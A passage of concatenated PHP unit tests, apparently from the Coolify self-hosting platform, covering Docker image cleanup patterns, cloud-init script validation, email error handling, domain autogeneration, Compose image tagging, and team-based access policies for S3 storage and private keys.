$deletableImages = [
'other-app:latest',
'nginx:alpine',
'postgres:15',
];
// Test the regex pattern used in buildImagePruneCommand
$pattern = "/^({$excludePattern})[_:].+/";
foreach ($protectedImages as $image) {
expect(preg_match($pattern, $image))->toBe(1, "Image {$image} should be protected");
}
foreach ($deletableImages as $image) {
expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should be deletable");
}
});
it('excludes current version of Coolify infrastructure images from any registry', function () {
// Test the regex pattern used to protect the current version of infrastructure images
// regardless of which registry they come from (ghcr.io, docker.io, or no prefix)
$helperVersion = '1.0.12';
$realtimeVersion = '1.0.10';
// Build the exclusion pattern the same way CleanupDocker does
// Pattern: (^|/)coollabsio/coolify-helper:VERSION$|(^|/)coollabsio/coolify-realtime:VERSION$
$escapedHelperVersion = preg_replace('/([.\\\\+*?\[\]^$(){}|])/', '\\\\$1', $helperVersion);
$escapedRealtimeVersion = preg_replace('/([.\\\\+*?\[\]^$(){}|])/', '\\\\$1', $realtimeVersion);
// For PHP preg_match, escape forward slashes
$infraPattern = "(^|\\/)coollabsio\\/coolify-helper:{$escapedHelperVersion}$|(^|\\/)coollabsio\\/coolify-realtime:{$escapedRealtimeVersion}$";
$pattern = "/{$infraPattern}/";
// Current versioned infrastructure images from ANY registry should be PROTECTED
$protectedImages = [
// ghcr.io registry
"ghcr.io/coollabsio/coolify-helper:{$helperVersion}",
"ghcr.io/coollabsio/coolify-realtime:{$realtimeVersion}",
// docker.io registry (explicit)
"docker.io/coollabsio/coolify-helper:{$helperVersion}",
"docker.io/coollabsio/coolify-realtime:{$realtimeVersion}",
// No registry prefix (Docker Hub implicit)
"coollabsio/coolify-helper:{$helperVersion}",
"coollabsio/coolify-realtime:{$realtimeVersion}",
];
// Verify current infrastructure images ARE protected from any registry
foreach ($protectedImages as $image) {
expect(preg_match($pattern, $image))->toBe(1, "Current infrastructure image {$image} should be protected");
}
// Verify OLD versions of infrastructure images are NOT protected (can be deleted)
$oldVersionImages = [
'ghcr.io/coollabsio/coolify-helper:1.0.11',
'docker.io/coollabsio/coolify-helper:1.0.10',
'coollabsio/coolify-helper:1.0.9',
'ghcr.io/coollabsio/coolify-realtime:1.0.9',
'ghcr.io/coollabsio/coolify-helper:latest',
'coollabsio/coolify-realtime:latest',
];
foreach ($oldVersionImages as $image) {
expect(preg_match($pattern, $image))->toBe(0, "Old infrastructure image {$image} should NOT be protected");
}
// Verify other images are NOT protected (can be deleted)
$deletableImages = [
'nginx:alpine',
'postgres:15',
'redis:7',
'mysql:8.0',
'node:20',
];
foreach ($deletableImages as $image) {
expect(preg_match($pattern, $image))->toBe(0, "Image {$image} should NOT be protected");
}
});
it('protects current infrastructure images from any registry even when no applications exist', function () {
// When there are no applications, current versioned infrastructure images should still be protected
// regardless of which registry they come from
$helperVersion = '1.0.12';
$realtimeVersion = '1.0.10';
// Build the pattern the same way CleanupDocker does
$escapedHelperVersion = preg_replace('/([.\\\\+*?\[\]^$(){}|])/', '\\\\$1', $helperVersion);
$escapedRealtimeVersion = preg_replace('/([.\\\\+*?\[\]^$(){}|])/', '\\\\$1', $realtimeVersion);
// For PHP preg_match, escape forward slashes
$infraPattern = "(^|\\/)coollabsio\\/coolify-helper:{$escapedHelperVersion}$|(^|\\/)coollabsio\\/coolify-realtime:{$escapedRealtimeVersion}$";
$pattern = "/{$infraPattern}/";
// Verify current infrastructure images from any registry are protected
expect(preg_match($pattern, "ghcr.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
expect(preg_match($pattern, "docker.io/coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
expect(preg_match($pattern, "coollabsio/coolify-helper:{$helperVersion}"))->toBe(1);
expect(preg_match($pattern, "ghcr.io/coollabsio/coolify-realtime:{$realtimeVersion}"))->toBe(1);
// Old versions should NOT be protected
expect(preg_match($pattern, 'ghcr.io/coollabsio/coolify-helper:1.0.11'))->toBe(0);
expect(preg_match($pattern, 'docker.io/coollabsio/coolify-helper:1.0.11'))->toBe(0);
// Other images should not be protected
expect(preg_match($pattern, 'nginx:alpine'))->toBe(0);
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Rules/ValidCloudInitYamlTest.php | tests/Unit/Rules/ValidCloudInitYamlTest.php | <?php
use App\Rules\ValidCloudInitYaml;
it('accepts valid cloud-config YAML with header', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$script = <<<'YAML'
#cloud-config
users:
- name: demo
groups: sudo
shell: /bin/bash
packages:
- nginx
- git
runcmd:
- echo "Hello World"
YAML;
$rule->validate('script', $script, function ($message) use (&$valid) {
$valid = false;
});
expect($valid)->toBeTrue();
});
it('accepts valid cloud-config YAML without header', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$script = <<<'YAML'
users:
- name: demo
groups: sudo
packages:
- nginx
YAML;
$rule->validate('script', $script, function ($message) use (&$valid) {
$valid = false;
});
expect($valid)->toBeTrue();
});
it('accepts valid bash script with shebang', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$script = <<<'BASH'
#!/bin/bash
apt update
apt install -y nginx
systemctl start nginx
BASH;
$rule->validate('script', $script, function ($message) use (&$valid) {
$valid = false;
});
expect($valid)->toBeTrue();
});
it('accepts empty or null script', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$rule->validate('script', '', function ($message) use (&$valid) {
$valid = false;
});
expect($valid)->toBeTrue();
$rule->validate('script', null, function ($message) use (&$valid) {
$valid = false;
});
expect($valid)->toBeTrue();
});
it('rejects invalid YAML format', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$errorMessage = '';
$script = <<<'YAML'
#cloud-config
users:
- name: demo
groups: sudo
invalid_indentation
packages:
- nginx
YAML;
$rule->validate('script', $script, function ($message) use (&$valid, &$errorMessage) {
$valid = false;
$errorMessage = $message;
});
expect($valid)->toBeFalse();
expect($errorMessage)->toContain('YAML');
});
it('rejects script that is neither bash nor valid YAML', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$errorMessage = '';
$script = <<<'INVALID'
this is not valid YAML
and has invalid indentation:
- item
without proper structure {
INVALID;
$rule->validate('script', $script, function ($message) use (&$valid, &$errorMessage) {
$valid = false;
$errorMessage = $message;
});
expect($valid)->toBeFalse();
expect($errorMessage)->toContain('bash script');
});
it('accepts complex cloud-config with multiple sections', function () {
$rule = new ValidCloudInitYaml;
$valid = true;
$script = <<<'YAML'
#cloud-config
users:
- name: coolify
groups: sudo, docker
shell: /bin/bash
sudo: ['ALL=(ALL) NOPASSWD:ALL']
ssh_authorized_keys:
- ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQ...
packages:
- docker.io
- docker-compose
- git
- curl
package_update: true
package_upgrade: true
runcmd:
- systemctl enable docker
- systemctl start docker
- usermod -aG docker coolify
- echo "Server setup complete"
write_files:
- path: /etc/docker/daemon.json
content: |
{
"log-driver": "json-file",
"log-opts": {
"max-size": "10m",
"max-file": "3"
}
}
YAML;
$rule->validate('script', $script, function ($message) use (&$valid) {
$valid = false;
});
expect($valid)->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Notifications/Channels/EmailChannelTest.php | tests/Unit/Notifications/Channels/EmailChannelTest.php | <?php
use App\Exceptions\NonReportableException;
use App\Models\EmailNotificationSettings;
use App\Models\Team;
use App\Models\User;
use App\Notifications\Channels\EmailChannel;
use App\Notifications\Channels\SendsEmail;
use Illuminate\Notifications\Messages\MailMessage;
use Illuminate\Notifications\Notification;
use Resend\Exceptions\ErrorException;
use Resend\Exceptions\TransporterException;
beforeEach(function () {
// Mock the Team with members
$this->team = Mockery::mock(Team::class);
$this->team->id = 1;
$user1 = new User(['email' => 'test@example.com']);
$user2 = new User(['email' => 'admin@example.com']);
$members = collect([$user1, $user2]);
$this->team->shouldReceive('getAttribute')->with('members')->andReturn($members);
Team::shouldReceive('find')->with(1)->andReturn($this->team);
// Mock the notifiable (Team)
$this->notifiable = Mockery::mock(SendsEmail::class);
$this->notifiable->shouldReceive('getAttribute')->with('id')->andReturn(1);
// Mock email settings with Resend enabled
$this->settings = Mockery::mock(EmailNotificationSettings::class);
$this->settings->resend_enabled = true;
$this->settings->smtp_enabled = false;
$this->settings->use_instance_email_settings = false;
$this->settings->smtp_from_name = 'Test Sender';
$this->settings->smtp_from_address = 'sender@example.com';
$this->settings->resend_api_key = 'test_api_key';
$this->settings->smtp_password = 'password';
$this->notifiable->shouldReceive('getAttribute')->with('emailNotificationSettings')->andReturn($this->settings);
$this->notifiable->emailNotificationSettings = $this->settings;
$this->notifiable->shouldReceive('getRecipients')->andReturn(['test@example.com']);
// Mock the notification
$this->notification = Mockery::mock(Notification::class);
$this->notification->shouldReceive('getAttribute')->with('isTransactionalEmail')->andReturn(false);
$this->notification->shouldReceive('getAttribute')->with('emails')->andReturn(null);
$mailMessage = Mockery::mock(MailMessage::class);
$mailMessage->subject = 'Test Email';
$mailMessage->shouldReceive('render')->andReturn('<html>Test</html>');
$this->notification->shouldReceive('toMail')->andReturn($mailMessage);
// Mock global functions
$this->app->instance('send_internal_notification', function () {});
});
it('throws user-friendly error for invalid Resend API key (403)', function () {
// Create mock ErrorException for invalid API key
$resendError = Mockery::mock(ErrorException::class);
$resendError->shouldReceive('getErrorCode')->andReturn(403);
$resendError->shouldReceive('getErrorMessage')->andReturn('API key is invalid.');
$resendError->shouldReceive('getCode')->andReturn(403);
// Mock Resend client to throw the error
$resendClient = Mockery::mock();
$emailsService = Mockery::mock();
$emailsService->shouldReceive('send')->andThrow($resendError);
$resendClient->emails = $emailsService;
Resend::shouldReceive('client')->andReturn($resendClient);
$channel = new EmailChannel;
expect(fn () => $channel->send($this->notifiable, $this->notification))
->toThrow(
NonReportableException::class,
'Invalid Resend API key. Please verify your API key in the Resend dashboard and update it in settings.'
);
});
it('throws user-friendly error for restricted Resend API key (401)', function () {
// Create mock ErrorException for restricted key
$resendError = Mockery::mock(ErrorException::class);
$resendError->shouldReceive('getErrorCode')->andReturn(401);
$resendError->shouldReceive('getErrorMessage')->andReturn('This API key is restricted to only send emails.');
$resendError->shouldReceive('getCode')->andReturn(401);
// Mock Resend client to throw the error
$resendClient = Mockery::mock();
$emailsService = Mockery::mock();
$emailsService->shouldReceive('send')->andThrow($resendError);
$resendClient->emails = $emailsService;
Resend::shouldReceive('client')->andReturn($resendClient);
$channel = new EmailChannel;
expect(fn () => $channel->send($this->notifiable, $this->notification))
->toThrow(
NonReportableException::class,
'Your Resend API key has restricted permissions. Please use an API key with Full Access permissions.'
);
});
it('throws user-friendly error for rate limiting (429)', function () {
// Create mock ErrorException for rate limit
$resendError = Mockery::mock(ErrorException::class);
$resendError->shouldReceive('getErrorCode')->andReturn(429);
$resendError->shouldReceive('getErrorMessage')->andReturn('Too many requests.');
$resendError->shouldReceive('getCode')->andReturn(429);
// Mock Resend client to throw the error
$resendClient = Mockery::mock();
$emailsService = Mockery::mock();
$emailsService->shouldReceive('send')->andThrow($resendError);
$resendClient->emails = $emailsService;
Resend::shouldReceive('client')->andReturn($resendClient);
$channel = new EmailChannel;
expect(fn () => $channel->send($this->notifiable, $this->notification))
->toThrow(Exception::class, 'Resend rate limit exceeded. Please try again in a few minutes.');
});
it('throws user-friendly error for validation errors (400)', function () {
// Create mock ErrorException for validation error
$resendError = Mockery::mock(ErrorException::class);
$resendError->shouldReceive('getErrorCode')->andReturn(400);
$resendError->shouldReceive('getErrorMessage')->andReturn('Invalid email format.');
$resendError->shouldReceive('getCode')->andReturn(400);
// Mock Resend client to throw the error
$resendClient = Mockery::mock();
$emailsService = Mockery::mock();
$emailsService->shouldReceive('send')->andThrow($resendError);
$resendClient->emails = $emailsService;
Resend::shouldReceive('client')->andReturn($resendClient);
$channel = new EmailChannel;
expect(fn () => $channel->send($this->notifiable, $this->notification))
->toThrow(NonReportableException::class, 'Email validation failed: Invalid email format.');
});
it('throws user-friendly error for network/transport errors', function () {
// Create mock TransporterException
$transportError = Mockery::mock(TransporterException::class);
$transportError->shouldReceive('getMessage')->andReturn('Network error');
// Mock Resend client to throw the error
$resendClient = Mockery::mock();
$emailsService = Mockery::mock();
$emailsService->shouldReceive('send')->andThrow($transportError);
$resendClient->emails = $emailsService;
Resend::shouldReceive('client')->andReturn($resendClient);
$channel = new EmailChannel;
expect(fn () => $channel->send($this->notifiable, $this->notification))
->toThrow(Exception::class, 'Unable to connect to Resend API. Please check your internet connection and try again.');
});
it('throws generic error with message for unknown error codes', function () {
// Create mock ErrorException with unknown code
$resendError = Mockery::mock(ErrorException::class);
$resendError->shouldReceive('getErrorCode')->andReturn(500);
$resendError->shouldReceive('getErrorMessage')->andReturn('Internal server error.');
$resendError->shouldReceive('getCode')->andReturn(500);
// Mock Resend client to throw the error
$resendClient = Mockery::mock();
$emailsService = Mockery::mock();
$emailsService->shouldReceive('send')->andThrow($resendError);
$resendClient->emails = $emailsService;
Resend::shouldReceive('client')->andReturn($resendClient);
$channel = new EmailChannel;
expect(fn () => $channel->send($this->notifiable, $this->notification))
->toThrow(Exception::class, 'Failed to send email via Resend: Internal server error.');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Api/ApplicationAutogenerateDomainTest.php | tests/Unit/Api/ApplicationAutogenerateDomainTest.php | <?php
use App\Models\Server;
use App\Models\ServerSetting;
beforeEach(function () {
// Mock Log to prevent actual logging
Illuminate\Support\Facades\Log::shouldReceive('error')->andReturn(null);
Illuminate\Support\Facades\Log::shouldReceive('info')->andReturn(null);
});
it('generateUrl produces correct URL with wildcard domain', function () {
$serverSettings = Mockery::mock(ServerSetting::class);
$serverSettings->wildcard_domain = 'http://example.com';
$server = Mockery::mock(Server::class)->makePartial();
$server->shouldReceive('getAttribute')
->with('settings')
->andReturn($serverSettings);
// Mock data_get to return the wildcard domain
$wildcard = data_get($server, 'settings.wildcard_domain');
expect($wildcard)->toBe('http://example.com');
// Test the URL generation logic manually (simulating generateUrl behavior)
$random = 'abc123-def456';
$url = Spatie\Url\Url::fromString($wildcard);
$host = $url->getHost();
$scheme = $url->getScheme();
$generatedUrl = "$scheme://{$random}.$host";
expect($generatedUrl)->toBe('http://abc123-def456.example.com');
});
it('generateUrl falls back to sslip when no wildcard domain', function () {
// Test the sslip fallback logic for IPv4
$ip = '192.168.1.100';
$fallbackDomain = "http://{$ip}.sslip.io";
$random = 'test-uuid';
$url = Spatie\Url\Url::fromString($fallbackDomain);
$host = $url->getHost();
$scheme = $url->getScheme();
$generatedUrl = "$scheme://{$random}.$host";
expect($generatedUrl)->toBe('http://test-uuid.192.168.1.100.sslip.io');
});
it('autogenerate_domain defaults to true', function () {
// Create a mock request
$request = new Illuminate\Http\Request;
// When autogenerate_domain is not set, boolean() should return the default (true)
$autogenerateDomain = $request->boolean('autogenerate_domain', true);
expect($autogenerateDomain)->toBeTrue();
});
it('autogenerate_domain can be set to false', function () {
// Create a request with autogenerate_domain set to false
$request = new Illuminate\Http\Request(['autogenerate_domain' => false]);
$autogenerateDomain = $request->boolean('autogenerate_domain', true);
expect($autogenerateDomain)->toBeFalse();
});
it('autogenerate_domain can be set to true explicitly', function () {
// Create a request with autogenerate_domain set to true
$request = new Illuminate\Http\Request(['autogenerate_domain' => true]);
$autogenerateDomain = $request->boolean('autogenerate_domain', true);
expect($autogenerateDomain)->toBeTrue();
});
it('domain is not auto-generated when domains field is provided', function () {
// Test the logic: if domains is set, autogenerate should be skipped
$fqdn = 'https://myapp.example.com';
$autogenerateDomain = true;
// The condition: $autogenerateDomain && blank($fqdn)
$shouldAutogenerate = $autogenerateDomain && blank($fqdn);
expect($shouldAutogenerate)->toBeFalse();
});
it('domain is auto-generated when domains field is empty and autogenerate is true', function () {
// Test the logic: if domains is empty and autogenerate is true, should generate
$fqdn = null;
$autogenerateDomain = true;
// The condition: $autogenerateDomain && blank($fqdn)
$shouldAutogenerate = $autogenerateDomain && blank($fqdn);
expect($shouldAutogenerate)->toBeTrue();
// Also test with empty string
$fqdn = '';
$shouldAutogenerate = $autogenerateDomain && blank($fqdn);
expect($shouldAutogenerate)->toBeTrue();
});
it('domain is not auto-generated when autogenerate is false', function () {
// Test the logic: if autogenerate is false, should not generate even if domains is empty
$fqdn = null;
$autogenerateDomain = false;
// The condition: $autogenerateDomain && blank($fqdn)
$shouldAutogenerate = $autogenerateDomain && blank($fqdn);
expect($shouldAutogenerate)->toBeFalse();
});
it('removeUnnecessaryFieldsFromRequest removes autogenerate_domain', function () {
$request = new Illuminate\Http\Request([
'autogenerate_domain' => true,
'name' => 'test-app',
'project_uuid' => 'abc123',
]);
// Simulate removeUnnecessaryFieldsFromRequest
$request->offsetUnset('autogenerate_domain');
expect($request->has('autogenerate_domain'))->toBeFalse();
expect($request->has('name'))->toBeTrue();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Parsers/ApplicationParserImageTagTest.php | tests/Unit/Parsers/ApplicationParserImageTagTest.php | <?php
/**
* Tests for Docker Compose image tag injection in applicationParser.
*
* These tests verify the logic for injecting commit-based image tags
* into Docker Compose services with build directives.
*/
it('injects image tag for services with build but no image directive', function () {
// Test the condition: hasBuild && !hasImage && commit
$service = [
'build' => './app',
];
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
$commit = 'abc123def456';
$uuid = 'app-uuid';
$serviceName = 'web';
expect($hasBuild)->toBeTrue();
expect($hasImage)->toBeFalse();
// Simulate the image injection logic
if ($hasBuild && ! $hasImage && $commit) {
$imageTag = str($commit)->substr(0, 128)->value();
$imageRepo = "{$uuid}_{$serviceName}";
$service['image'] = "{$imageRepo}:{$imageTag}";
}
expect($service['image'])->toBe('app-uuid_web:abc123def456');
});
it('does not inject image tag when service has explicit image directive', function () {
// User has specified their own image - we respect it
$service = [
'build' => './app',
'image' => 'myregistry/myapp:latest',
];
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
$commit = 'abc123def456';
expect($hasBuild)->toBeTrue();
expect($hasImage)->toBeTrue();
// The condition should NOT trigger
$shouldInject = $hasBuild && ! $hasImage && $commit;
expect($shouldInject)->toBeFalse();
// Image should remain unchanged
expect($service['image'])->toBe('myregistry/myapp:latest');
});
it('does not inject image tag when there is no commit', function () {
$service = [
'build' => './app',
];
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
$commit = null;
expect($hasBuild)->toBeTrue();
expect($hasImage)->toBeFalse();
// The condition should NOT trigger (no commit)
$shouldInject = $hasBuild && ! $hasImage && $commit;
expect($shouldInject)->toBeFalse();
});
it('does not inject image tag for services without build directive', function () {
// Service that pulls a pre-built image
$service = [
'image' => 'nginx:alpine',
];
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
$commit = 'abc123def456';
expect($hasBuild)->toBeFalse();
expect($hasImage)->toBeTrue();
// The condition should NOT trigger (no build)
$shouldInject = $hasBuild && ! $hasImage && $commit;
expect($shouldInject)->toBeFalse();
});
it('uses pr-{id} tag for pull request deployments', function () {
$service = [
'build' => './app',
];
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
$commit = 'abc123def456';
$uuid = 'app-uuid';
$serviceName = 'web';
$isPullRequest = true;
$pullRequestId = 42;
// Simulate the PR image injection logic
if ($hasBuild && ! $hasImage && $commit) {
$imageTag = str($commit)->substr(0, 128)->value();
if ($isPullRequest) {
$imageTag = "pr-{$pullRequestId}";
}
$imageRepo = "{$uuid}_{$serviceName}";
$service['image'] = "{$imageRepo}:{$imageTag}";
}
expect($service['image'])->toBe('app-uuid_web:pr-42');
});
it('truncates commit SHA to 128 characters', function () {
$service = [
'build' => './app',
];
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
// Create a very long commit string
$commit = str_repeat('a', 200);
$uuid = 'app-uuid';
$serviceName = 'web';
if ($hasBuild && ! $hasImage && $commit) {
$imageTag = str($commit)->substr(0, 128)->value();
$imageRepo = "{$uuid}_{$serviceName}";
$service['image'] = "{$imageRepo}:{$imageTag}";
}
// Tag should be exactly 128 characters
$parts = explode(':', $service['image']);
expect(strlen($parts[1]))->toBe(128);
});
it('handles multiple services with build directives', function () {
$services = [
'web' => ['build' => './web'],
'worker' => ['build' => './worker'],
'api' => ['build' => './api', 'image' => 'custom:tag'], // Has explicit image
'redis' => ['image' => 'redis:alpine'], // No build
];
$commit = 'abc123';
$uuid = 'app-uuid';
foreach ($services as $serviceName => $service) {
$hasBuild = data_get($service, 'build') !== null;
$hasImage = data_get($service, 'image') !== null;
if ($hasBuild && ! $hasImage && $commit) {
$imageTag = str($commit)->substr(0, 128)->value();
$imageRepo = "{$uuid}_{$serviceName}";
$services[$serviceName]['image'] = "{$imageRepo}:{$imageTag}";
}
}
// web and worker should get injected images
expect($services['web']['image'])->toBe('app-uuid_web:abc123');
expect($services['worker']['image'])->toBe('app-uuid_worker:abc123');
// api keeps its custom image (has explicit image)
expect($services['api']['image'])->toBe('custom:tag');
// redis keeps its image (no build directive)
expect($services['redis']['image'])->toBe('redis:alpine');
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Policies/S3StoragePolicyTest.php | tests/Unit/Policies/S3StoragePolicyTest.php | <?php
use App\Models\S3Storage;
use App\Models\User;
use App\Policies\S3StoragePolicy;
it('allows team member to view S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->view($user, $storage))->toBeTrue();
});
it('denies team member to view S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->view($user, $storage))->toBeFalse();
});
it('allows team admin to update S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->update($user, $storage))->toBeTrue();
});
it('denies team member to update S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->update($user, $storage))->toBeFalse();
});
it('allows team member to delete S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->delete($user, $storage))->toBeTrue();
});
it('denies team member to delete S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->delete($user, $storage))->toBeFalse();
});
it('allows admin to create S3 storage', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(true);
$policy = new S3StoragePolicy;
expect($policy->create($user))->toBeTrue();
});
it('denies non-admin to create S3 storage', function () {
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('isAdmin')->andReturn(false);
$policy = new S3StoragePolicy;
expect($policy->create($user))->toBeFalse();
});
it('allows team member to validate connection of S3 storage from their team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(1);
$storage->team_id = 1;
$policy = new S3StoragePolicy;
expect($policy->validateConnection($user, $storage))->toBeTrue();
});
it('denies team member to validate connection of S3 storage from another team', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$storage = Mockery::mock(S3Storage::class)->makePartial();
$storage->shouldReceive('getAttribute')->with('team_id')->andReturn(2);
$storage->team_id = 2;
$policy = new S3StoragePolicy;
expect($policy->validateConnection($user, $storage))->toBeFalse();
});
| php | Apache-2.0 | f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53 | 2026-01-04T15:02:34.115123Z | false |
coollabsio/coolify | https://github.com/coollabsio/coolify/blob/f6a59fa2dce9a7cf92b59dbb9fc575c8612aaa53/tests/Unit/Policies/PrivateKeyPolicyTest.php | tests/Unit/Policies/PrivateKeyPolicyTest.php | <?php
use App\Models\User;
use App\Policies\PrivateKeyPolicy;
it('allows root team admin to view system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->view($user, $privateKey))->toBeTrue();
});
it('allows root team owner to view system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->view($user, $privateKey))->toBeTrue();
});
it('denies regular member of root team to view system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->view($user, $privateKey))->toBeFalse();
});
it('denies non-root team member to view system private key', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->view($user, $privateKey))->toBeFalse();
});
it('allows team member to view their own team private key', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 1;
};
$policy = new PrivateKeyPolicy;
expect($policy->view($user, $privateKey))->toBeTrue();
});
it('denies team member to view another team private key', function () {
$teams = collect([
(object) ['id' => 1, 'pivot' => (object) ['role' => 'owner']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 2;
};
$policy = new PrivateKeyPolicy;
expect($policy->view($user, $privateKey))->toBeFalse();
});
it('allows root team admin to update system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'admin']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
expect($policy->update($user, $privateKey))->toBeTrue();
});
it('denies root team member to update system private key', function () {
$teams = collect([
(object) ['id' => 0, 'pivot' => (object) ['role' => 'member']],
]);
$user = Mockery::mock(User::class)->makePartial();
$user->shouldReceive('getAttribute')->with('teams')->andReturn($teams);
$privateKey = new class
{
public $team_id = 0;
};
$policy = new PrivateKeyPolicy;
